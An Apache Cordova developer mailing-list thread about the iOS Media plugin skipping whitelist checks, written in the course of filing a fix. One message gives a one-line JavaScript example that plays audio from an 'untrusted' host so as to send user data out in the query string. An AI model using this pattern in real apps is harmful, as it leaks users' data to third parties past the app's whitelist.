Gotcha, so whitelist is only for preventing app hijacking, and not preventing any sort of tracking. ( ie, it only prevents where you load stuff from, and not where you send it to )
On Fri, Feb 1, 2013 at 3:13 PM, Shazron <shaz...@gmail.com> wrote: > Send data? The url download only cares what is the final result, so you can > send the human genome down as a query string it doesn't matter, as long as > the final result is an audio file, it can play it. If its garbage, it won't > play it - unless its a known exploit with the iOS media playback code, > which is not our problem ultimately. > > > On Fri, Feb 1, 2013 at 1:29 PM, Jesse <purplecabb...@gmail.com> wrote: > > > My point was, can't a 3rd party library from a trusted+allowed domain > play > > audio from an untrusted domain, and send data via the querystring? > > > > new Media("http://untrusted/file.mp3?userdata=...",win,lose).play(); > > > > I have additional comments on the JIRA issue, here: > > https://issues.apache.org/jira/browse/CB-2342#comment-13569099 > > > > > > > > > > > > > > On Fri, Feb 1, 2013 at 1:00 PM, Shazron <shaz...@gmail.com> wrote: > > > > > No this is totally restricted to playing audio and the plugin. I > suppose > > if > > > there is a problem with Apple's media playing code, sure > > > > > > > > > On Fri, Feb 1, 2013 at 12:57 PM, Jesse <purplecabb...@gmail.com> > wrote: > > > > > > > it is a security break regardless, and you can do much more than play > > > rogue > > > > audio. For example send data in the url .... > > > > > > > > On Fri, Feb 1, 2013 at 12:27 PM, Shazron <shaz...@gmail.com> wrote: > > > > > > > > > Seems like a harmless thing for now for us to fix and re-tag, since > > the > > > > > most this does is allow people to play rogue audio files I guess? > > I'll > > > > file > > > > > an issue. > > > > > > > > > > > > > > > On Fri, Feb 1, 2013 at 11:11 AM, Andrew Grieve < > agri...@chromium.org > > > > > > > > wrote: > > > > > > > > > > > CDVSound.m doesn't set the User-Agent, which I think means it's > not > > > > being > > > > > > restricted to the white-list. > > > > > > > > > > > > > > > > > > On Fri, Feb 1, 2013 at 1:45 PM, Shazron <shaz...@gmail.com> > wrote: > > > > > > > > > > > > > Not that I am aware of. There might be something related to the > > > > > > user-agent > > > > > > > changes. Let me verify your results. > > > > > > > > > > > > > > > > > > > > > On Fri, Feb 1, 2013 at 9:03 AM, Becky Gibson < > > > gibson.be...@gmail.com > > > > > > > > > > > > wrote: > > > > > > > > > > > > > > > Did I miss a change in our whitelist implementation on iOS? > > > > > > > > > > > > > > > > It used to be that I had to make sure audio.ibeat.org was in > > the > > > > > > > whitelist > > > > > > > > before running the mobile-spec media tests. When testing > with > > > > > 2.4rc2 > > > > > > I > > > > > > > > noticed this is no longer the case. My whitelist is: > > > > > > > > > > > > > > > > <access origin="http://www.google.com" /> > > > > > > > > > > > > > > > > <access origin="*.apache.org*"/> > > > > > > > > > > > > > > > > <access origin="cordova-filetransfer.jitsu.com" /> > > > > > > > > > > > > > > > > <access origin="whatheaders.com" /> > > > > > > > > > > > > > > > > Yet the media plays just fine. I suspect this change has > been > > in > > > > > there > > > > > > > for > > > > > > > > awhile. Previously I just assumed media was working because > my > > > > > > whitelist > > > > > > > > was <access origin="*" /> > > > > > > > > > > > > > > > > When testing with a changed whitelist via config.xml > completely > > > > > removed > > > > > > > my > > > > > > > > test app from the device and did a build clean before running > > > > again. > > > > > > > > > > > > > > > > It looks like whitelist checking doesn't even occur for the > > media > > > > > url. > > > > > > > > > > > > > > > > just curious! > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > -- > > > > @purplecabbage > > > > risingj.com > > > > > > > > > > > > > > > -- > > @purplecabbage > > risingj.com > > > -- @purplecabbage risingj.com